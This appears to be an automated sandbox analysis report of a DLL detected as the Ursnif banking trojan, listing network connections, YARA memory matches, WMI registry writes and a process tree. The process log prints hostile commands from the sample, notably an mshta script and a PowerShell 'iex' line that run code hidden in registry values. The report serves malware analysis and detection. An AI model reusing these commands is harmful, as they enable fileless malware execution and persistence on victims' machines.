Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.5:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.54:443 -> 192.168.2.5:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.54:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.54:443 -> 192.168.2.5:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.5:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.87:443 -> 192.168.2.5:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.87:443 -> 192.168.2.5:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.5:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.5:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.180.206:443 -> 192.168.2.5:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.180.206:443 -> 192.168.2.5:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.54:443 -> 192.168.2.5:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.54:443 -> 192.168.2.5:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.5:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.5:49837 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000000.00000003.452621123.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340867138.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358484652.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452413152.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.476285292.0000000004F6C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358574602.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.341005235.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452703813.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358543809.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358526121.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358423422.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358490581.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.341021111.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358326330.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340830267.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452659371.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358587293.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340789162.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358440799.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340944106.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358282465.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358549744.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452359075.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358639536.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452511017.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.478007505.000000000492C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.450359527.000000000507C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340988909.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358200334.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452558605.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358380196.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452589252.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358524105.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358621357.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340893376.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 5288, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 5292, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5324, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5276, type: MEMORY

E-Banking Fraud:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 00000000.00000003.452621123.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340867138.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358484652.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452413152.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.476285292.0000000004F6C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358574602.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.341005235.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452703813.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358543809.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358526121.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358423422.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358490581.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.341021111.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358326330.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340830267.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452659371.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358587293.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340789162.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358440799.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340944106.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358282465.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358549744.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452359075.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358639536.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452511017.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.478007505.000000000492C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.450359527.000000000507C000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340988909.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358200334.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452558605.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358380196.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.452589252.0000000002508000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.358524105.0000000004B28000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.358621357.0000000005168000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.340893376.0000000005278000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: regsvr32.exe PID: 5288, type: MEMORY
Source: Yara match	File source: Process Memory Space: loaddll32.exe PID: 5292, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5324, type: MEMORY
Source: Yara match	File source: Process Memory Space: rundll32.exe PID: 5276, type: MEMORY

System Summary:

Writes or reads registry keys via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetStringValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::CreateKey
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::GetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Queries: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Writes registry values via WMI

Show sources

Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\System32\loaddll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\regsvr32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10001996 GetProcAddress,NtCreateSection,memset,	0_2_10001996
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10001A44 NtMapViewOfSection,	0_2_10001A44
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_100023A5 NtQueryVirtualMemory,	0_2_100023A5
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_01405A27 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	0_2_01405A27
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0140B1A5 NtQueryVirtualMemory,	0_2_0140B1A5
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_00F05A27 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	2_2_00F05A27
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_00F0B1A5 NtQueryVirtualMemory,	2_2_00F0B1A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04635A27 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	3_2_04635A27
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0463B1A5 NtQueryVirtualMemory,	3_2_0463B1A5
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04185A27 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose,	5_2_04185A27
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0418B1A5 NtQueryVirtualMemory,	5_2_0418B1A5

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_10002184	0_2_10002184
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0140AF80	0_2_0140AF80
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_01403EE1	0_2_01403EE1
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_0140888E	0_2_0140888E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_00F03EE1	2_2_00F03EE1
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_00F0888E	2_2_00F0888E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 2_2_00F0AF80	2_2_00F0AF80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_04633EE1	3_2_04633EE1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0463888E	3_2_0463888E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_0463AF80	3_2_0463AF80
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0418888E	5_2_0418888E
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_04183EE1	5_2_04183EE1
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 5_2_0418AF80	5_2_0418AF80
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 33_2_00007FFA16A419C8	33_2_00007FFA16A419C8

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Source: C:\Windows\SysWOW64\regsvr32.exe

Section loaded: sfc.dll

Jump to behavior

Source: 2770174.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: 2770174.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winDLL@46/226@59/18

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_0140A65C CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_0140A65C

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{44121266-DEA1-11EB-90E5-ECF4BB570DC9}.dat

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5160:120:WilError_01

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Temp\~DF2F2063E2C0FD540B.TMP

Jump to behavior

Source: 2770174.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: C:\Program Files\internet explorer\iexplore.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\2770174.dll',#1

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\2770174.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\2770174.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\2770174.dll
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\2770174.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Program Files\internet explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\2770174.dll,DllRegisterServer
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17428 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17432 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:82960 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17442 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17454 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:82990 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17474 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:148488 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:83022 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17508 /prefetch:2
Source: unknown	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Pyhe='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Pyhe).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\MarkChart'));if(!window.flag)close()</script>'
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:83042 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17518 /prefetch:2
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').UtilDiagram))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17528 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:83060 /prefetch:2
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\2770174.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\2770174.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Program Files\internet explorer\iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\2770174.dll,DllRegisterServer	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\2770174.dll',#1	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17428 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17432 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:82960 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17442 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17454 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:82990 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17474 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17432 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:148488 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:83022 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17508 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:83042 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17518 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17528 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:83060 /prefetch:2	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').UtilDiagram))

Source: C:\Windows\System32\loaddll32.exe

